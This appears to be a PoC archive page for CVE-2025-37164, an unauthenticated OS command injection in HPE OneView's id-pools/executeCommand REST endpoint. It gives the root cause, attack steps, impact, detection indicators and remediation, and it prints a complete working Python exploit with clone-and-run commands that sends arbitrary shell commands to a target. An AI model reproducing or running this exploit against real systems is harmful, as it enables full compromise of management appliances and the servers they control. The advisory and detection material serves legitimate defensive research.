PoC Archive PoC Archive
Critical CVE-2025-37164 unpatched

HPE OneView `id-pools/executeCommand` OS Command Injection (CVE-2025-37164)

by LACHHAB-Anas · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-37164
Category
network
Affected product
HPE OneView (infrastructure management appliance) REST API
Affected versions
Per source repository (not explicitly pinned in PoC README; see NVD/AttackerKB references)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherLACHHAB-Anas
CVE / AdvisoryCVE-2025-37164
Categorynetwork
SeverityCritical
CVSS Score10.0 (per NVD)
StatusPoC
Tagshpe-oneview, command-injection, os-command-execution, rce, rest-api, python, cwe-78
RelatedN/A

Affected Target

FieldValue
Software / SystemHPE OneView (infrastructure management appliance) REST API
Versions AffectedPer source repository (not explicitly pinned in PoC README; see NVD/AttackerKB references)
Language / PlatformPython 3 (requests), targets the HPE OneView REST management interface
Authentication RequiredNo — the PoC sends no Authorization/session token and the request succeeds against the raw endpoint
Network Access RequiredYes (HTTP access to the OneView REST API, default port 80)

Summary

HPE OneView exposes a REST endpoint, /rest/id-pools/executeCommand, that accepts a JSON body containing a cmd field and executes it as an OS command on the appliance. The root cause is that the endpoint passes attacker-supplied input from the cmd field directly to a command execution routine without sanitization or an allow-list, and the PoC demonstrates this requires no authentication headers to reach. The included script sends a single crafted PUT request with cmd set to an arbitrary shell command and prints the raw HTTP response, giving an attacker with network access to the management interface full arbitrary command execution on the OneView host. Given the CVSS 10.0 rating, this is a critical, network-reachable, unauthenticated pre-auth RCE against a privileged infrastructure-management appliance.


Vulnerability Details

Root Cause

The /rest/id-pools/executeCommand REST endpoint accepts a JSON payload of the form {"cmd": "<value>", "result": false} and forwards the cmd value to be executed as an OS-level command on the OneView appliance, with no input validation, sanitization, or command allow-listing observed. This is a classic OS command injection (CWE-78) where user-controlled input reaches a command execution sink.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
url = f"http://{args.IP}/rest/id-pools/executeCommand"

headers = {
    "accept-language": "en_US",
    "X-API-Version": "7200",
    "Content-Type": "application/json",
}

payload = {
    "cmd": args.command,
    "result": False
}

response = requests.put(url, headers=headers, json=payload, timeout=10)

Attack Vector

  1. Attacker identifies a reachable HPE OneView management REST API (typically over HTTPS/HTTP on the appliance’s management network).
  2. Attacker sends an HTTP PUT request to /rest/id-pools/executeCommand with header X-API-Version: 7200 and a JSON body {"cmd": "<arbitrary OS command>", "result": false}.
  3. The appliance executes the supplied command string on the underlying host OS and returns the result/status in the HTTP response.
  4. No authentication token, session cookie, or prior login step is present in the PoC’s request, so the attack works with only network reachability to the API.

Impact

An attacker capable of reaching the OneView REST API can execute arbitrary OS commands with the privileges of the OneView service process — leading to full compromise of the management appliance, and from there potential pivoting into every server, enclosure, and network device that OneView manages (firmware, iLO credentials, VLANs, storage, etc.).


Environment / Lab Setup

Target:   HPE OneView appliance exposing the REST management API (verify affected version against HPE's advisory / NVD before testing)
Attacker: Python 3 + `pip install requests`

Proof of Concept

PoC Script

See CVE-2025-37164.py in this folder.

1
2
3
4
5
git clone https://github.com/LACHHAB-Anas/Exploit_CVE-2025-37164.git
cd Exploit_CVE-2025-37164
pip install requests

python3 CVE-2025-37164.py <TARGET_IP> "<command>"

Example: python3 CVE-2025-37164.py TARGET_IP "id" sends the crafted PUT request and prints the HTTP status code and response body, which contains the output/result of the injected command.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected OS processes spawned by the OneView appliance service account
  • Outbound connections from the OneView host to unfamiliar IPs shortly after executeCommand requests
  • New user accounts, cron entries, or SSH keys added on the OneView appliance
  • Anomalous entries in OneView’s own audit/activity log around id-pools/executeCommand calls

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — consult HPE’s security advisory and NVD entry for CVE-2025-37164 for the fixed version and apply it
Interim mitigationRestrict network access to the OneView REST management interface to trusted management networks only; place the appliance behind a firewall/VPN; monitor for PUT /rest/id-pools/executeCommand requests

References


Notes

Mirrored from https://github.com/LACHHAB-Anas/Exploit_CVE-2025-37164 on 2026-07-06. Short (45-line) but functional script; it sends a single crafted PUT request to id-pools/executeCommand and does not include any authentication step, consistent with an unauthenticated/pre-auth exploitation path.

CVE-2025-37164.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3

'''
    
    This Script provide an Exploit for the CVE-2025-37164 impacting HPE OneView

'''

import argparse
import requests
import sys

def main():
    parser = argparse.ArgumentParser(
        description="Exploit for CVE-2025-37164"
    )
    parser.add_argument("IP", help="Target IP or hostname")
    parser.add_argument("command", help="Command to execute")

    args = parser.parse_args()

    url = f"http://{args.IP}/rest/id-pools/executeCommand"

    headers = {
        "accept-language": "en_US",
        "X-API-Version": "7200",
        "Content-Type": "application/json",
    }

    payload = {
        "cmd": args.command,
        "result": False
    }

    try:
        response = requests.put(url, headers=headers, json=payload, timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

    print("Status code:", response.status_code)
    print("Response body:")
    print(response.text)


if __name__ == "__main__":
    main()